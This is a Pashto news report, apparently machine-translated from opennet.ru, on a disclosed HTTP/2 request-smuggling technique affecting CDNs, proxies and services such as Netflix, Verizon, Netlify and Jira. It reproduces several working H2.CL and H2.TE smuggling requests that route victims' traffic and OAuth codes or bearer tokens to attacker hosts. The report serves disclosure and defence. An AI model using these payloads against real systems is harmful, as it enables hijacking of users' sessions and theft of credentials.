د مخکینۍ پای - بیکینډ سیسټمونو باندې نوی برید چې تاسو ته اجازه درکوي غوښتنو ته مخه کړئ

د ویب سیسټمونو په کوم کې چې مخکینۍ برخه د HTTP/2 له لارې اړیکې مني او د HTTP/1.1 له لارې بیک انډ ته لیږدوي د "HTTP غوښتنې قاچاق" برید نوي ډول سره مخ شوي، کوم چې د ځانګړي ډیزاین شوي پیرودونکي غوښتنې لیږلو ته اجازه ورکوي. د نورو کاروونکو د غوښتنو مینځپانګې ته د فرنټ اینډ او بیک انډ ترمینځ په ورته جریان کې پروسس شوي. برید د مشروع ویب پا toې سره ناستې ته د ناوړه جاواسکریپټ کوډ داخلولو لپاره کارول کیدی شي ، د لاسرسي محدودیت سیسټمونو ته مخه کړي او د تصدیق پیرامیټرې مداخله وکړي.

ستونزه د ویب پراکسي، د بار بیلنسرز، ویب سرعت کونکي، د مینځپانګې تحویلي سیسټمونه او نور تشکیلات اغیزه کوي چې په کوم کې غوښتنې د مخکینۍ پای څخه تر شاته پورې لیږل کیږي. د مطالعې لیکوال د Netflix، Verizon، Bitbucket، Netlify CDN او Atlassian په سیسټمونو د برید احتمال ښودلی، او د زیان منونکو پیژندلو لپاره یې د انعام پروګرامونو کې 56 زره ډالر ترلاسه کړي. ستونزه د F5 شبکې محصولاتو کې هم تایید شوې. ستونزه په جزوي ډول د اپاچي HTTP سرور (CVE-2021-33193) کې mod_proxy اغیزه کوي ، یو حل په 2.4.49 نسخه کې تمه کیږي (پراختیا کونکي د می په پیل کې د ستونزې څخه خبر شوي او د حل لپاره یې 3 میاشتې ورکړل شوي). په نګینکس کې، د "منځپانګې اوږدوالی" او "لیږد-انکوډینګ" سرلیکونو په ورته وخت کې مشخص کولو وړتیا په وروستي خپرونه کې بنده شوې وه (1.21.1). د برید وسیلې دمخه د Burp Toolkit کې شاملې دي او د ټربو انټروډر توسیع په شکل کې شتون لري.

په ټرافیک کې د ویډګ غوښتنې غوښتنې د نوي میتود د عملیاتو اصول دوه کاله دمخه د ورته څیړونکي لخوا پیژندل شوي زیان منونکي سره ورته دي ، مګر د مخکني پایونو پورې محدود دي چې د HTTP/1.1 څخه غوښتنې مني. راځئ چې په یاد ولرو چې د فرنټ اینډ بیک اینډ سکیم کې، د پیرودونکي غوښتنې د اضافي نوډ لخوا ترلاسه کیږي - فرنټ اینډ، کوم چې د بیک انډ سره اوږدمهاله TCP اړیکه رامینځته کوي، کوم چې په مستقیم ډول غوښتنې پروسس کوي. د دې ګډې اړیکې له لارې، د مختلف کاروونکو غوښتنې معمولا لیږدول کیږي، کوم چې یو له بل وروسته سلسله تعقیبوي، د HTTP پروتوکول له لارې جلا شوي.

د کلاسیک "HTTP غوښتنې قاچاق" برید د دې حقیقت پراساس و چې مخکینۍ برخې او شاتنۍ برخې د HTTP سرلیکونو کارول تشریح کوي "د مینځپانګې اوږدوالی" (په غوښتنې کې د ډیټا ټوله اندازه ټاکي) او "د لیږد کوډ کول: ټوټه شوې" (اجازه ورکوي ډاټا باید په برخو کې لیږدول شي) په مختلف ډول. . د مثال په توګه، که چیرې مخکینۍ برخه یوازې "د منځپانګې اوږدوالی" ملاتړ کوي مګر "د لیږد کوډ کول: ټوټه شوی" له پامه غورځوي، نو برید کوونکی کولی شي یوه غوښتنه واستوي چې دواړه "د منځپانګې اوږدوالی" او "لیږد - کوډ کول: ټوټه شوي" سرلیکونه ولري، مګر اندازه ده "د منځپانګې اوږدوالی" د ټوټې شوي سلسلې اندازې سره سمون نه لري. په دې حالت کې، مخکینۍ برخه به د "منځپانګې اوږدوالی" سره سم غوښتنه پروسس او ریډیریټ کړي، او پس منظر به د "انتقال-انکوډینګ: ټوټه شوي" پر بنسټ د بلاک بشپړیدو ته انتظار باسي او د برید کونکي غوښتنې پاتې پای به د بل چا د غوښتنې په پیل کې وي چې بل لیږدول کیږي.

د متن پروتوکول HTTP/1.1 برعکس، کوم چې د لاین په کچه تجزیه شوی، HTTP/2 یو بائنری پروتوکول دی او د مخکې ټاکل شوي اندازې ډیټا بلاکونه سمبالوي. په هرصورت، HTTP/2 د pseudo-headers کاروي چې د منظم HTTP سرلیکونو سره مطابقت لري. د HTTP/1.1 پروتوکول له لارې د بیک انډ سره د متقابل عمل په حالت کې ، فرنټ اینډ دا سیډو سرلیکونه ورته HTTP سرلیکونو HTTP/1.1 ته ژباړي. ستونزه دا ده چې بیک اینډ د اصلي غوښتنې پیرامیټونو په اړه معلومات پرته د HTTP سرلیکونو پراساس د فرنټ اینډ لخوا ټاکل شوي د جریان د پارس کولو په اړه پریکړې کوي.

په ځانګړې توګه، ارزښتونه "د منځپانګې اوږدوالی" او "انتقال-انکوډینګ" د pseudo-headers په بڼه لیږدول کیدی شي، سره له دې چې دوی په HTTP/2 کې نه کارول کیږي، ځکه چې د ټولو معلوماتو اندازه ټاکل کیږي. په جلا ساحه کې. په هرصورت، د HTTP/2 غوښتنې HTTP/1.1 ته د بدلولو پروسې په جریان کې، دا سرلیکونه لیږدول کیږي او کولی شي شاته ګډوډ کړي. د برید دوه اصلي ډولونه شتون لري: H2.TE او H2.CL، په کوم کې چې شالید د غلط لیږد کوډ کولو یا د مینځپانګې اوږدوالي ارزښت لخوا ګمراه کیږي چې د غوښتنې بدن ریښتیني اندازې سره مطابقت نلري چې د فرنټ اینډ لخوا ترلاسه شوي. HTTP/2 پروتوکول.

د H2.CL برید یوه بیلګه دا ده چې د مینځپانګې اوږدوالي سیډو سرلیک کې د غلط اندازې مشخص کول کله چې Netflix ته د HTTP/2 غوښتنه لیږل کیږي. دا غوښتنه د HTTP/1.1 له لارې بیک انډ ته د لاسرسي په وخت کې د ورته HTTP سرلیک مینځپانګې اوږدوالي اضافه کیدو لامل کیږي ، مګر له هغه وخته چې د مینځپانګې اوږدوالی د اصلي څخه لږ مشخص شوی وي ، په پای کې د ډیټا برخه پروسس کیږي. د راتلونکي غوښتنې پیل.

د مثال په توګه، HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 غوښتنه وکړئ کوربه: 02.rs?x.netflix.com Foo: bar

په پایله کې به یوه غوښتنه بیرته پای ته لیږل کیږي: POST /n HTTP/1.1 کوربه: www.netflix.com منځپانګې اوږدوالی: 4 abcdGET /n HTTP/1.1 کوربه: 02.rs?x.netflix.com Foo: bar

څرنګه چې د منځپانګې اوږدوالی 4 ارزښت لري، پس منظر به یوازې "abcd" د غوښتنې د بدن په توګه ومني، او پاتې "GET /n HTTP/1.1..." به د راتلونکي غوښتنې په پیل کې پروسس شي. د بل کارونکي سره تړاو لري. په دې اساس، جریان به غیر همغږي شي او د بلې غوښتنې په ځواب کې به د ډمي غوښتنې پروسس کولو پایله خپره شي. د Netflix په قضیه کې، په یوه ډمي غوښتنه کې د "میزبان:" سرلیک کې د دریمې ډلې کوربه مشخص کول د دې المل شوي چې پیرودونکي ځواب بیرته راولي "ځای: https://02.rs?x.netflix.com/n" او اجازه ورکړل شوې خپلمنځي مینځپانګې پیرودونکي ته واستول شي ، پشمول د Netflix سایټ په شرایطو کې خپل جاواسکریپټ کوډ چلول.

د دوهم برید اختیار (H2.TE) د "انتقال-انکوډینګ: ټوټه شوی" سرلیک ځای په ځای کول شامل دي. په HTTP/2 کې د لیږد کوډ کولو سیډو سرلیک کارول د توضیحاتو لخوا منع شوي او د هغې سره غوښتنې وړاندیز شوي چې غلط چلند وشي. سره له دې، ځینې فرنټ اینډ پلي کول دا اړتیا په پام کې نه نیسي او په HTTP/2 کې د لیږد-کوډ کولو سیډو-سرلیک کارولو ته اجازه ورکوي، کوم چې په ورته HTTP سرلیک کې بدل شوی. که چیرې د "انتقال-انکوډینګ" سرلیک شتون ولري، پس منظر کولی شي دا د لوړ لومړیتوب په توګه واخلي او د ډیټا ټوټه ټوټه ټوټه په "کچه شوي" حالت کې د مختلفو اندازو بلاکونو په کارولو سره د "{size}\r\n{block" بڼه کې پارس کړي. }\r\n{size} \r\n{block}\r\n0، سره له دې چې د ټول اندازې له مخې د ابتدايي ویش سره سره.

د داسې تشې شتون د ویریزون مثال لخوا ښودل شوی. ستونزه د تصدیق پورټل او د مینځپانګې مدیریت سیسټم پورې اړه لري ، کوم چې په سایټونو لکه Huffington Post او Engadget کې هم کارول کیږي. د مثال په توګه، د مراجعینو غوښتنه د HTTP/2 له لارې: :method POST :path/identitfy/XUI :authority id.b2b.oath.com لیږد کوډ کول 0 GET /oops HTTP/1.1 کوربه: psres.net د منځپانګې اوږدوالی: 10 x=

د شاتنۍ برخې ته د HTTP/1.1 غوښتنې لیږلو پایله: POST /identity/XUI HTTP/1.1 کوربه: id.b2b.oath.com منځپانګې اوږدوالی: 66 لیږد کوډ کول: ټوټه شوې 0 GET /oops HTTP/1.1 کوربه: psres. خالص مواد- اوږدوالی: 10x=

پس منظر، په بدل کې، د "منځپانګې اوږدوالی" سرلیک له پامه غورځولی او د "انتقال-انکوډینګ: chunked" پر بنسټ د جریان ویش کول ترسره کړي. په عمل کې، برید دا ممکنه کړه چې د کاروونکي غوښتنې د دوی ویب پاڼې ته واستول شي، په شمول د OAuth تصدیق پورې اړوند غوښتنې مداخله کول، هغه پیرامیټونه چې د ریفرر سرلیک کې ښودل شوي، او همدارنګه د تصدیق سیشن سمول کول او د اعتبار لیږلو لپاره د کارونکي سیسټم هڅول. د برید کوونکي کوربه ته. GET /b2blanding/show/oops HTTP/1.1 کوربه: psres.net مراجعه کوونکی: https://id.b2b.oath.com/?…&code=secret GET/HTTP/1.1 کوربه: psres.net اختیار: بییرر eyJhcGwiOiJIUzI1Gi1sInk…cCII6

د HTTP/2 تطبیقونو باندې برید کولو لپاره چې د لیږد - کوډ کولو سیډو - سرلیک مشخص کولو ته اجازه نه ورکوي ، یو بل میتود وړاندیز شوی چې پکې د "انتقال - کوډ کولو" سرلیک ځای په ځای کول شامل دي د نورو سیډو - سرلیکونو سره ضمیمه کول د نوي کریکټر لخوا جلا شوي ( کله چې HTTP/1.1 ته بدل شي پدې حالت کې دوه جلا HTTP سرلیکونه رامینځته کوي).

د مثال په توګه، Atlassian Jira او Netlify CDN (په فایرفوکس کې د موزیلا پیل پاڼې خدمت کولو لپاره کارول کیږي) د دې ستونزې لخوا اغیزمن شوي. په ځانګړې توګه، د HTTP/2 غوښتنه :method POST :path / :authority start.mozilla.org foo b\r\n انتقال کوډ کول: chunked 0\r\n \r\n GET/HTTP/1.1\r\n کوربه : evil-netlify-domain\r\n د منځپانګې اوږدوالی: 5\r\n \r\nx=

په پایله کې د HTTP/1.1 POST/HTTP/1.1 غوښتنه بیرته پای ته لیږل کیږي\r\n کوربه: start.mozilla.org\r\n Foo: b\r\n لیږد-انکوډینګ: ټوټه شوی\r\n د منځپانګې اوږدوالی : 71\ r\n \r\n 0\r\n \r\n GET/HTTP/1.1\r\n کوربه: evil-netlify-domain\r\n د منځپانګې اوږدوالی: 5\r\n \r \nx=

د "انتقال - کوډ کولو" سرلیک بدلولو لپاره بل اختیار دا و چې دا د بل سیډو - سرلیک نوم سره ضمیمه کړئ یا د غوښتنې میتود سره یوې کرښې ته. د مثال په توګه، کله چې اتلاسین جیرا ته لاسرسی ومومي، د "foo: bar\r\ntransfer-encoding" د "chunked" ارزښت سره د pseudo-header نوم د دې لامل شوی چې د HTTP سرلیکونه "foo: bar" او "transfer-encoding: chunked" اضافه شي. , او د pseudo-header ": Method" ارزښت مشخص کول "GET/HTTP/1.1\r\nTransfer-encoding: chunked" په "GET/HTTP/1.1\r\ntransfer-encoding: chunked" ژباړل شوی.

څیړونکي چې ستونزه یې په ګوته کړې د مخکینۍ برخې برید کولو لپاره د غوښتنې تونل کولو تخنیک وړاندیز هم وکړ ، په کوم کې چې هر IP پته د شالید سره جلا اړیکه رامینځته کوي او د مختلف کاروونکو څخه ترافیک نه مخلوط کیږي. وړاندیز شوی تخنیک اجازه نه ورکوي چې د نورو کاروونکو غوښتنو سره مداخله وکړي، مګر دا ممکنه کوي چې د ګډې زیرمې مسموم کړي چې د نورو غوښتنو پروسس اغیزه کوي، او د داخلي HTTP سرلیکونو بدیل ته اجازه ورکوي چې د خدماتو معلومات د مخکینۍ برخې څخه شالید ته لیږدولو لپاره کارول کیږي ( د مثال په توګه، کله چې په دې ډول سرلیکونو کې د مخکني اړخ تصدیق کول کولی شي د اوسني کارونکي په اړه معلومات شاتنۍ ته انتقال کړي). په عمل کې د میتود پلي کولو مثال په توګه ، د کیچ زهر کولو کارولو سره ، دا ممکنه وه چې د بټ بکټ خدمت کې د پاڼو کنټرول ترلاسه کړئ.

سرچینه: opennet.ru